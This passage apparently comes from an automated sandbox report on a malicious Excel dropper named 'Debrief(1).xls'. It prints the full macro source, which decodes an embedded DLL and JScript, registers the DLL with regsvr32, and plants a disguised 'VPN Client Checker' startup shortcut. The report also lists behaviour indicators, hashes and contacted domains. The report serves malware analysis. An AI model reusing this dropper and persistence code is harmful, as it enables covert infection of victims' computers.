      x = x & "dEN1cnJlbnRQcm9jZXNzSWQAGwNTZXRGaWxlUG9pbnRlcgAAQgFHZXRDdXJyZW50UHJvY2VzcwCkA1dyaXRlRmlsZQCUA1dpZGVD"
      x = x & "aGFyVG9NdWx0aUJ5dGUAS0VSTkVMMzIuZGxsAADYAndzcHJpbnRmVwBVU0VSMzIuZGxsAAAkAUdldFVzZXJOYW1lQQAArAFPcGVu"
      x = x & "UHJvY2Vzc1Rva2VuAABgAENyZWF0ZVByb2Nlc3NBc1VzZXJXAABQAUxvb2t1cFByaXZpbGVnZVZhbHVlVwAcAEFkanVzdFRva2Vu"
      x = x & "UHJpdmlsZWdlcwBBRFZBUEkzMi5kbGwAAAcAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbAAQAENvQ3JlYXRlSW5zdGFu"
      x = x & "Y2UAAGkAQ29VbmluaXRpYWxpemUAAAYAQ0xTSURGcm9tUHJvZ0lEADQBU3RyaW5nRnJvbUNMU0lEADsAQ29Jbml0aWFsaXplAABv"
      x = x & "bGUzMi5kbGwAT0xFQVVUMzIuZGxsAAAQAFdUU1F1ZXJ5VXNlclRva2VuAFdUU0FQSTMyLmRsbAAAAABDcmVhdGVFbnZpcm9ubWVu"
      x = x & "dEJsb2NrAAADAERlc3Ryb3lFbnZpcm9ubWVudEJsb2NrAFVTRVJFTlYuZGxsABAAPz8zQFlBWFBBWEBaAACRAm1hbGxvYwAADwA/"
      x = x & "PzJAWUFQQVhJQFoAAFUAX19kbGxvbmV4aXQAhgFfb25leGl0AA4APz8xdHlwZV9pbmZvQEBVQUVAWFoAAE1TVkNSVC5kbGwAAF4C"
      x = x & "ZnJlZQAADwFfaW5pdHRlcm0AnQBfYWRqdXN0X2ZkaXYAABEBU3RyU3RySVcAAFNITFdBUEkuZGxsAMEBX3N0cmljbXAAAOoBX3dj"
      x = x & "c2ljbXAAAJkCbWVtc2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwEQAQ4BEAEAAAAAAAAAAAAAAAAKQxABAAAAAALj9B"
      x = x & "VnR5cGVfaW5mb0BAAKQxABAAAAAALj9BVUlBY3RpdmVTY3JpcHRTaXRlV2luZG93QEAAAACkMQAQAAAAAC4/QVZNeUFjdGl2ZVNj"
      x = x & "cmlwdFNpdGVAQAAAAACkMQAQAAAAAC4/QVVJVW5rbm93bkBAAACkMQAQAAAAAC4/QVVJQWN0aXZlU2NyaXB0U2l0ZUBAAKQxABAA"
      x = x & "AAAALj9BVUlQcm92aWRlTXVsdGlwbGVDbGFzc0luZm9AQACkMQAQAAAAAC4/QVVJV1NjcmlwdEBAAACkMQAQAAAAAC4/QVZXU2Ny"
      x = x & "aXB0QEAAAACkMQAQAAAAAC4/QVVJUHJvdmlkZUNsYXNzSW5mbzJAQAAAAACkMQAQAAAAAC4/QVVJRGlzcGF0Y2hAQACkMQAQAAAA"
      x = x & "AC4/QVVJUHJvdmlkZUNsYXNzSW5mb0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAFgAAIAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACA"
      x = x & "AAAAAAAAAAAAAAAAAAABAAkEAABIAAAAcFAAAHgIAAAAAAAAAAAAAAcAVABZAFAARQBMAEkAQgAAAAAAAAAAAE1TRlQCAAEAAAAA"
      x = x & "AAkEAAAAAAAAQQAAAAEAAAAAAAAAAgAAAP////8AAAAAAAAAAA4AAAB0AAAAAAAAAP////8YAAAAIAAAAIAAAAABAAAAAQAAAAAA"
      x = x & "AABkAAAATAEAAMgAAAD/////DwAAAGQDAAAMAAAA/////w8AAABwAwAAHAAAAP////8PAAAAVAMAABAAAAD/////DwAAABQCAACA"
      x = x & "AAAA/////w8AAACUAgAAwAAAAP////8PAAAAjAMAAAACAAD/////DwAAAIwFAAAsAQAA/////w8AAAD/////AAAAAP////8PAAAA"
      x = x & "/////wAAAAD/////DwAAAP////8AAAAA/////w8AAAC4BgAAVAAAAP////8PAAAADAcAACQAAAD/////DwAAAP////8AAAAA////"
      x = x & "/w8AAAD/////AAAAAP////8PAAAANCIAADAHAAAAAAAAAAAAAAMAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAAACQAAAAQBEAABQA"
      x = x & "AAAAAAAA/////wAAAAAAAAAA/////wEANAAEAAAAAQAAAAIABwAAAAAA/////yUiAQB4CAAAAAAAAAAAAAADAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAqAAAAAIAAAAAAAAAAAAAAP////8AAAAAAAAAAP////8BAAAABAAAAAAAAAAAAAAAAAAAAP//////////"
      x = x & "/////3gAAAD/////////////////////////////////////kAAAAP////////////////////////////////////9gAAAAAAAA"
      x = x & "AP////////////////////9IAAAAGAAAAP////////////////////+oAAAAMAAAAKSulJUefdZHtqkjpBKqbFr+/////////2W6"
      x = x & "d958UdERotoAAPh3POn//////////2O6d958UdERotoAAPh3POn//////////2S6d958UdERotoAAPh3POn//////////zAEAgAA"
      x = x & "AAAAwAAAAAAAAEYCAAAA/////wAEAgAAAAAAwAAAAAAAAEYBAAAA/////wmNn7++8kVLng2MymN49j0AAAAA/////wcne6073s1G"
      x = x & "vOk7DlZ8BehkAAAA/////wAAAAABAAAA//////////8AAAEDAAAAAHgAAABgAAAAAAAAAAIAAAAtAHN0ZG9sZTIudGxiV1dX////"
      x = x & "////////////////////////////AAEAAP////////////////////////////////////9MAAAA////////////////////////"
      x = x & "////////////////////////AAAAAP//////////////////////////////////////////////////////////////////////"
      x = x & "/////////ygAAAD/////EAEAAP////+oAAAA///////////////////////////kAAAA////////////////////////////////"
      x = x & "fAAAAP////+8AAAA////////////////////////////////////////////////YAAAAP//////////////////////////////"
      x = x & "/////////////////zgAAAD///////////////////////////////8UAAAA////////////////////////////////////////"
      x = x & "///////////////////////////////////////////////////////////////////////////////////////////////////Q"
      x = x & "AAAA////////////////////////////////////////////////////////////////jAAAAP////9kAAAA/////wc4GLFXU2Ny"
      x = x & "aXB0VwAAAAD/////CDhWmElXU2NyaXB0AAAAAP////8EAKgJRWNob///////////BgBPoWxwVGV4dFdXAAAAAP////8FAA7tU2xl"
      x = x & "ZXBXV1f//////////w4AxaVkd01pbGxpc2Vjb25kc1dXAAAAAP////8EADmuUXVpdAAAAAD/////DwB+XkNyZWF0ZUJsb2NrRmls"
      x = x & "ZVf//////////wgArE9maWxlUGF0aP//////////CAC7NnVuaXRTaXpl//////////8FAPG/aW5kZXhXV1cAAAAA/////w4AMopQ"
      x = x & "dXRCbG9ja1RvRmlsZVdX//////////8EAAY7ZGF0YQAAAAD/////DgCq20NoZWNrVXBBbmREb3duV1cIAD4AAABDcmVhdGVkIGJ5"
      x = x & "IE1JREwgdmVyc2lvbiA3LjAwLjA1NTUgYXQgRnJpIERlYyAyNiAyMDoyNDo1MCAyMDE0ChMAklOdVFdXEwArAgAHV1cYAAAAAAAA"
      x = x & "AP////8wAAAARAAAAAAAAABIAAAATAAAAAwAAAD8AAAAJAAAABkAGYAAAAAAHABEAAkEAAABAAAACAAIgDgAAAABAAAAJAABABkA"
      x = x & "GYAAAAAAIABEAAkEAQABAAAAEwATgGAAAAABAAAAGAACABkAGYAAAAAAJAA0AAkEAgAAAAAAPAADAAMAA4AAAAAAKABkAAkEAwAD"
      x = x & "AAAACAAIgKgAAAABAAAAEwATgLwAAAABAAAAEwATgNAAAAABAAAASAAEAAMAA4AAAAAALAB0AAkEBAAEAAAACAAIgKgAAAAAAAAA"
      x = x & "EwATgLwAAAAAAAAAEwATgNAAAAAAAAAACAAIgAABAAAAAAAAGAAFAAMAA4AAAAAAMAA0AAkEBQAAAAAAAQAAAAIAAAADAAAABAAA"
      x = x & "AAUAAAAGAAAAKAAAAEwAAAB8AAAAjAAAAOQAAAAQAQAAAAAAACQAAABIAAAAYAAAAJwAAADkAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAcAQAAAjAPMBYwGzBkMGwwcjB9MIowkjCgMKUwqjCvMLow"
      x = x & "xzDRMOYw8jD4MBoxLDGIMbYxwDHGMcox0DHUMeYx8DH2MfoxADIEMgoyFDIxMlsyjjK/MlgzYTNvMwI0DDRUNFo00TTkNAU1DDUS"
      x = x & "NSM1MTU2NVA1WzV7Nag11TX2NRQ2lTaxNrg2vjbPNt024jb9Ngc3NTdRN1g3XjdvN303gjedN8U34TfoN+43/zcNOBI4LTjdOCg5"
      x = x & "RDnYOes58jkdOks6ZTqmOhQ7TztqO4c7mzvEO9o7/DsOPHM8xDygPbM9xj3ZPfI9Az4bPi0+ND5KPlU+XD5yPn4+lD69PsY+zD7a"
      x = x & "Puo++D4LPyE/ND+HP6c/6z/7PwAAACAAAHQAAAANMBIwRTBLMJ8wqTC5MM0wBzENMSIxKTE0MT4xTTFUMYYx+DEiMkQyWDJzMoYy"
      x = x & "pDKvMs8yCzMnM0czXzOdM6QzsTO4M9sz5jMFNEY0cDR/NI00nDSiNKg0rjS0NMI0xjTMNNA04jTmNOw08DQAMAAADAEAAKAxpDGs"
      x = x & "MbAxtDG4MbwxwDHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADK0MrgyvDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAz"
      x = x & "BDMIM6gzwDPUM+Qz6DPsM/Az+DMQNCA0JDQ8NEA0WDRcNGA0dDSENIg0jDSUNJg0nDSgNKQ0rDTENNQ02DTcNPQ0BDUINSA1JDU8"
      x = x & "NUw1UDVoNWw1cDV0NXg1fDWANYQ1iDWQNZQ1mDWsNbA1tDXINcw15DXoNQA2BDYcNiw2MDZINlg2XDZ0Nng2fDaENpw2oDakNqg2"
      x = x & "rDbANsQ23DbgNuQ26DbwNgg3GDccNyw3PDdANwAAAEAAACQAAAAEMAgwGDAwMFgwfDCUMLQw3DD0MAwxMDFIMQAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAA="
      End Sub
      Public Sub GenInsJS(ByRef x)
      GenInsJS0 x
      End Sub
      Public Sub GenInsJS0(ByRef x)
      x = x & "DQpmdW5jdGlvbiBjbHMoKQ0Kew0KCXRyeXtldmFsKGNsc0NvZGUpO31jYXRjaChlKXt9DQp9DQoNCnZhciBiYXNlNjREZWNvZGVD"
      x = x & "aGFycyA9IG5ldyBBcnJheSggLSAxLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwg"
      x = x & "LTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEs"
      x = x & "IC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCA2MiwgLTEsIC0xLCAtMSwgNjMsIDUyLCA1MywgNTQsIDU1"
      x = x & "LCA1NiwgNTcsIDU4LCA1OSwgNjAsIDYxLCAtMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgMCwgMSwgMiwgMywgNCwgNSwgNiwg"
      x = x & "NywgOCwgOSwgMTAsIDExLCAxMiwgMTMsIDE0LCAxNSwgMTYsIDE3LCAxOCwgMTksIDIwLCAyMSwgMjIsIDIzLCAyNCwgMjUsIC0x"
      x = x & "LCAtMSwgLTEsIC0xLCAtMSwgLTEsIDI2LCAyNywgMjgsIDI5LCAzMCwgMzEsIDMyLCAzMywgMzQsIDM1LCAzNiwgMzcsIDM4LCAz"
      x = x & "OSwgNDAsIDQxLCA0MiwgNDMsIDQ0LCA0NSwgNDYsIDQ3LCA0OCwgNDksIDUwLCA1MSwgLTEsIC0xLCAtMSwgLTEsIC0xKTsNCmZ1"
      x = x & "bmN0aW9uIGJhc2U2NGRlY29kZShzdHIpDQp7DQogICAgdmFyIGMxLCBjMiwgYzMsIGM0Ow0KICAgIHZhciBpLCBsZW4sIG91dDsN"
      x = x & "CiAgICBsZW4gPSBzdHIubGVuZ3RoOw0KICAgIGkgPSAwOw0KICAgIG91dCA9ICIiOw0KICAgIHdoaWxlIChpIDwgbGVuKSANCiAg"
      x = x & "ICB7DQogICAgICAgIGRvIHsNCiAgICAgICAgICAgIGMxID0gYmFzZTY0RGVjb2RlQ2hhcnNbc3RyLmNoYXJDb2RlQXQoaSsrKSAm"
      x = x & "IDB4ZmZdDQogICAgICAgIH0gd2hpbGUgKCBpIDwgbGVuICYmIGMxID09IC0gMSApOw0KICAgICAgICBpZiAoYzEgPT0gLTEpIGJy"
      x = x & "ZWFrOw0KICAgICAgICBkbyB7DQogICAgICAgICAgICBjMiA9IGJhc2U2NERlY29kZUNoYXJzW3N0ci5jaGFyQ29kZUF0KGkrKykg"
      x = x & "JiAweGZmXQ0KICAgICAgICB9IHdoaWxlICggaSA8IGxlbiAmJiBjMiA9PSAtIDEgKTsNCiAgICAgICAgaWYgKGMyID09IC0xKSBi"
      x = x & "cmVhazsNCiAgICAgICAgb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMxIDw8IDIpIHwgKChjMiAmIDB4MzApID4+IDQpKTsN"
      x = x & "CiAgICAgICAgZG8gew0KICAgICAgICAgICAgYzMgPSBzdHIuY2hhckNvZGVBdChpKyspICYgMHhmZjsNCiAgICAgICAgICAgIGlm"
      x = x & "IChjMyA9PSA2MSkgcmV0dXJuIG91dDsNCiAgICAgICAgICAgIGMzID0gYmFzZTY0RGVjb2RlQ2hhcnNbYzNdDQogICAgICAgIH0g"
      x = x & "d2hpbGUgKCBpIDwgbGVuICYmIGMzID09IC0gMSApOw0KICAgICAgICBpZiAoYzMgPT0gLTEpIGJyZWFrOw0KICAgICAgICBvdXQg"
      x = x & "Kz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMyICYgMHhGKSA8PCA0KSB8ICgoYzMgJiAweDNDKSA+PiAyKSk7DQogICAgICAgIGRv"
      x = x & "IHsNCiAgICAgICAgICAgIGM0ID0gc3RyLmNoYXJDb2RlQXQoaSsrKSAmIDB4ZmY7DQogICAgICAgICAgICBpZiAoYzQgPT0gNjEp"
      x = x & "IHJldHVybiBvdXQ7DQogICAgICAgICAgICBjNCA9IGJhc2U2NERlY29kZUNoYXJzW2M0XQ0KICAgICAgICB9IHdoaWxlICggaSA8"
      x = x & "IGxlbiAmJiBjNCA9PSAtIDEgKTsNCiAgICAgICAgaWYgKGM0ID09IC0xKSBicmVhazsNCiAgICAgICAgb3V0ICs9IFN0cmluZy5m"
      x = x & "cm9tQ2hhckNvZGUoKChjMyAmIDB4MDMpIDw8IDYpIHwgYzQpDQogICAgfQ0KICAgIHJldHVybiBvdXQNCn0NCg0KdHJ5ew0KICAg"
      x = x & "IHRyeQ0KICAgIHsNCiAgICAgICAgdmFyIHRlbXBEaXIgPSBvV1MuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIldGVtcCUiKTsN"
      x = x & "CiAgICAgICAgdmFyIFVzZXJOYW1lID0gb1dTLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiJVVTRVJOQU1FJSIpOw0KICAgICAg"
      x = x & "ICB2YXIgQXBwRGF0YSA9IG9XUy5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBUFBEQVRBJSIpOw0KICAgICAgICB2YXIgU3lz"
      x = x & "RHJpdmUgPSBBcHBEYXRhLmNoYXJBdCgwKTsNCg0KICAgICAgICB2YXIgSlNQYXRoID0gdGVtcERpcisnXFwnK3JhbmROYW1lKycu"
      x = x & "dG1wJzsNCiAgICAgICAgdmFyIG9GaWxlID0gb0ZTLkNyZWF0ZVRleHRGaWxlKEpTUGF0aCwgdHJ1ZSk7DQogICAgICAgIG9GaWxl"
      x = x & "LldyaXRlKGJhc2U2NGRlY29kZShKU0NvZGUpKTsNCiAgICAgICAgb0ZpbGUuQ2xvc2UoKTsNCg0KICAgICAgICBXU2NyaXB0LlNs"
      x = x & "ZWVwKDEwMDApOw0KICAgICAgICBvV1MucnVuKCdyZWdzdnIzMiAvcyAiJyt0ZW1wRGlyKydcXCcrcmFuZE5hbWUrJy5kbGwiJywg"
      x = x & "MCk7DQoNCiAgICAgICAgdmFyIHN0RGlycyA9IFtTeXNEcml2ZSArICc6XFxEb2N1bWVudHMgYW5kIFNldHRpbmdzXFxBbGwgVXNl"
      x = x & "cnNcXFN0YXJ0IE1lbnVcXFByb2dyYW1zXFxTdGFydHVwJywNCiAgICAgICAgICAgICAgICAgIFN5c0RyaXZlICsgJzpcXERvY3Vt"
      x = x & "ZW50cyBhbmQgU2V0dGluZ3NcXCcrVXNlck5hbWUrJ1xcU3RhcnQgTWVudVxcUHJvZ3JhbXNcXFN0YXJ0dXAnLA0KICAgICAgICAg"
      x = x & "ICAgICAgICAgU3lzRHJpdmUgKyAnOlxcUHJvZ3JhbURhdGFcXE1pY3Jvc29mdFxcV2luZG93c1xcU3RhcnQgTWVudVxcUHJvZ3Jh"
      x = x & "bXNcXFN0YXJ0dXAnLA0KICAgICAgICAgICAgICAgICAgU3lzRHJpdmUgKyAnOlxcVXNlcnNcXCcrVXNlck5hbWUrJ1xcQXBwRGF0"
      x = x & "YVxcUm9hbWluZ1xcTWljcm9zb2Z0XFxXaW5kb3dzXFxTdGFydCBNZW51XFxQcm9ncmFtc1xcU3RhcnR1cCcsDQogICAgICAgICAg"
      x = x & "ICAgICAgICBBcHBEYXRhICsgJ1xcTWljcm9zb2Z0XFxXaW5kb3dzXFxTdGFydCBNZW51XFxQcm9ncmFtc1xcU3RhcnR1cCddOw0K"
      x = x & "ICAgIH1jYXRjaCAoYil7fQ0KDQogICAgZm9yIChpID0gMDsgaSA8IHN0RGlycy5sZW5ndGg7IGkrKykNCiAgICB7DQogICAgICAg"
      x = x & "IHRyeQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAob0ZTLkZvbGRlckV4aXN0cyhzdERpcnNbaV0pKQ0KICAgICAgICAgICAg"
      x = x & "ew0KICAgICAgICAgICAgICAgIHZhciBsaW5rID0gb1dTLkNyZWF0ZVNob3J0Y3V0KHN0RGlyc1tpXSArICdcXFZQTiBDbGllbnQg"
      x = x & "Q2hlY2tlci5sbmsnKTsgDQogICAgICAgICAgICAgICAgbGluay5EZXNjcmlwdGlvbiA9ICdWUE4gQ2xpZW50IENoZWNrZXInOyAN"
      x = x & "CiAgICAgICAgICAgICAgICBsaW5rLlRhcmdldFBhdGggPSAncmVnc3ZyMzInOyANCiAgICAgICAgICAgICAgICBsaW5rLkFyZ3Vt"
      x = x & "ZW50cyA9ICcvcyAiJyt0ZW1wRGlyKydcXCcrcmFuZE5hbWUrJy5kbGwiJzsNCiAgICAgICAgICAgICAgICBsaW5rLldpbmRvd1N0"
      x = x & "eWxlID0gMDsgDQogICAgICAgICAgICAgICAgbGluay5TYXZlKCk7IA0KICAgICAgICAgICAgfQ0KICAgICAgICB9Y2F0Y2ggKGcp"
      x = x & "e30NCiAgICB9DQoJZm9yKGkgPSAwOyBpIDwgMzsgaSsrKQ0KCXsNCgkJY2xzKCk7DQoJCVdTY3JpcHQuU2xlZXAoMTAwKTsNCgl9"
      x = x & "DQp9Y2F0Y2goeCl7fQ=="
      End Sub


      Private Sub Workbook_Open()
      GenXLS XLSFile
      GenJS JSCode
      GenSEDll SEDll
      GenInsJS InsJS
      Application.DisplayAlerts = False

      selfFullPath = ThisWorkbook.FullName
      OrgXlsPath = Environ("TEMP") & "\" & ThisWorkbook.Name
      ret = Base64ToFile(XLSFile, OrgXlsPath)

      randName = "~" & RandStr(8)
      JSPath = Environ("TEMP") & "\" & randName & ".tmp"
      SEDllPath = Environ("TEMP") & "\" & randName & ".dll"
      ret = Base64ToFile(SEDll, SEDllPath)

      JSInitCode = "oWS = new ActiveXObject('WScript.shell'); oFS = new ActiveXObject('Scripting.FileSystemObject'); oApp = new ActiveXObject('Shell.Application');" & vbCrLf
      JSInitCode = JSInitCode & "randName='" & randName & "';JSCode='" & JSCode & "';" & vbCrLf
      clsCode = "oFS.DeleteFile('" & mEscape(selfFullPath) & "');oFS.MoveFile('" & mEscape(OrgXlsPath) & "','" & mEscape(ThisWorkbook.path & "\") & "'); oApp.ShellExecute('" & mEscape(selfFullPath) & "', '', '', 'open', 3);"
      JSInitCode = JSInitCode & "clsCode='" & mEscape(clsCode) & "';"
      ret = WriteTextFile(JSInitCode & Base64Decode(InsJS)
      JSPath)

      Set oWS = CreateObject("WScript.Shell")
      ret = oWS.Run("regsvr32 /s """ & SEDllPath & """", 0)
      Application.Quit
      End Sub

      Function RandStr(n)
      For i = 1 To n
      Randomize
      temp = CInt(25 * Rnd)
      temp = temp + 65
      RandStr = RandStr & Chr(temp)
      Next
      End Function

      Public Function mEscape(str)
      Encode = Replace(str, "\", "\\")
      Encode = Replace(Encode, "'", "\'")
      mEscape = Encode
      End Function

      Function Base64ToFile(bin, path)
      Set ado = CreateObject("ADODB.Stream")
      Set XML = CreateObject("Microsoft.XMLDOM")
      Set Node = XML.createElement("binary")
      Node.DataType = "bin.base64"
      Node.Text = bin
      bin = Node.nodeTypedValue
      adSaveCreateOverwrite = 2
      adTypeBinary = 1
      ado.Open
      ado.Type = adTypeBinary
      ado.Position = 0
      ado.Write bin
      ado.SaveToFile path
      adSaveCreateOverwrite
      ado.Close
      End Function

      Function Base64Decode(ByVal base64String)
      Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
      Dim dataLength
      sOut
      groupBegin
      base64String = Replace(base64String, vbCrLf, "")
      base64String = Replace(base64String, vbTab, "")
      base64String = Replace(base64String, " ", "")
      dataLength = Len(base64String)

      If dataLength Mod 4 <> 0 Then
      Exit Function
      End If

      For groupBegin = 1 To dataLength Step 4
      Dim numDataBytes
      CharCounter
      thisChar
      thisData
      nGroup
      pOut
      numDataBytes = 3
      nGroup = 0

      For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
      numDataBytes = numDataBytes - 1
      thisData = 0
      Else
      thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
      Exit Function
      End If

      nGroup = 64 * nGroup + thisData
      Next

      nGroup = Hex(nGroup)

      nGroup = String(6 - Len(nGroup)
      "0") & nGroup

      pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))

      sOut = sOut & Left(pOut, numDataBytes)
      Next

      Base64Decode = sOut
      End Function

      Public Function WriteTextFile(strData, strFilePath)
      Dim fso
      ts
      i
      Set fso = CreateObject("Scripting.FileSystemObject")
      If fso.FileExists(strFilePath) Then
      fso.DeleteFile strFilePath
      True
      End If
      Set ts = fso.CreateTextFile(strFilePath, True)
      ts.Write strData
      ts.Close
      Set ts = Nothing
      Set fso = Nothing
      WriteTextFile = True
      End Function"
      source
      Static Parser
    • Creates mutants
      details
      "Local\ZonesCounterMutex"
      "Local\ZoneAttributeCacheCounterMutex"
      "Local\ZonesCacheCounterMutex"
      "Local\ZonesLockedCacheCounterMutex"
      "Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000"
      "Global\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000"
      "Local\MU_ACBPIDS09_S-1-5-5-0-104298"
      "Local\MU_ACB09_S-1-5-5-0-104298"
      "Global\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000"
      "DBWinMutex"
      source
      Created Mutant
    • Loads rich edit control libraries
      details
      "EXCEL.EXE" loaded module "%COMMONPROGRAMFILES%\Microsoft Shared\office12\riched20.dll" at 66F40000
      "EXCEL.EXE" loaded module "C:\Program Files\Common Files\Microsoft Shared\office12\riched20.dll" at 66060000
      source
      Loaded Module
    • Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)
      details
      "DecodePointer@KERNELBASE.dll"
      source
      API Call
  • Installation/Persistance
    • Dropped files
      details
      "303286.od" has type "ASCII text, with CRLF line terminators"
      "9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.LNK" has type "MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 8 12:37:16 2015, mtime=Wed Apr 8 12:37:16 2015, atime=Wed Apr 8 12:37:25 2015, length=279552, window=hide"
      "index.dat" has type "data"
      "9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls" has type "Composite Document File V2 Document, Little Endian, O%WINDIR%\ Version 6.1, Code page: 936, Author: admin, Last Saved By: admin, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jan 9 07:18:26 2015, Last Saved Time/Date: Fri Jan 9 07:48:41 2015, Security: 0"
      "~HFYJEZHM.dll" has type "PE32 executable (DLL) (GUI) Intel 80386, for MS Windows"
      "~HFYJEZHM.tmp" has type "ASCII text, with very long lines, with CRLF line terminators"
      "~HFYJEZHM.tmp" has type "ASCII text, with CRLF line terminators"
      "Excel12.pip" has type "data"
      "VPN Client Checker.lnk" has type "MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, ctime=Mon Jan 1 00:06:32 1601, mtime=Mon Jan 1 00:06:32 1601, atime=Mon Jan 1 00:06:32 1601, length=0, window="
      source
      Extracted File

File Details

All Details:

Debrief(1).xls

Filename
Debrief(1).xls
Size
273KiB (279552 bytes)
Type
xls office
Description
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 936, Author: admin, Last Saved By: admin, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jun 5 03:52:49 2014, Last Saved Time/Date: Wed Jan 14 06:42:04 2015, Security: 0
Architecture
WINDOWS
SHA256
9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7fCopy SHA256 to clipboard
MD5
f5ce889a1fa751b8fd726994cdb8f97eCopy MD5 to clipboard
SHA1
fcc9cb750629346bfe638d5264b188d9fce8c5a3Copy SHA1 to clipboard

Resources

Icon
Sample Icon

Visualization

-

Classification (TrID)

  • 48.0% (.XLS) Microsoft Excel sheet
  • 39.2% (.XLS) Microsoft Excel sheet (alternate)
  • 12.8% (.) Generic OLE2 / Multistream Compound File

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 4 processes in total.

Network Analysis

DNS Requests

Domain Address Registrar Country
www.ccidmeekparry.info 54.148.156.55 - Flag of United States United States
microsoftsto.112.2o7.net 66.235.138.195 - Flag of United States United States
ajax.aspnetcdn.com 68.232.34.200 - Flag of United States United States
i2-technet.sec.s-msft.com 23.45.107.56 - Flag of United States United States
i1.social.s-msft.com 23.9.217.64 - Flag of United States United States
i-technet.sec.s-msft.com 23.45.107.56 - Flag of United States United States
c.bing.com 207.46.194.10 - Flag of United States United States

Contacted Hosts

IP Address Port/Protocol Associated Process Details
68.232.34.200
443
TCP
- Flag of United States United States
23.45.107.56
443
TCP
- Flag of United States United States
66.235.138.194
443
TCP
- Flag of United States United States
54.148.156.55
80
TCP
- Flag of United States United States
134.170.185.125
443
TCP
- Flag of United States United States

Contacted Countries

HTTP Traffic

No relevant HTTP requests were made.

Extracted Strings

All Details:
!This program cannot be run in DOS mode.$
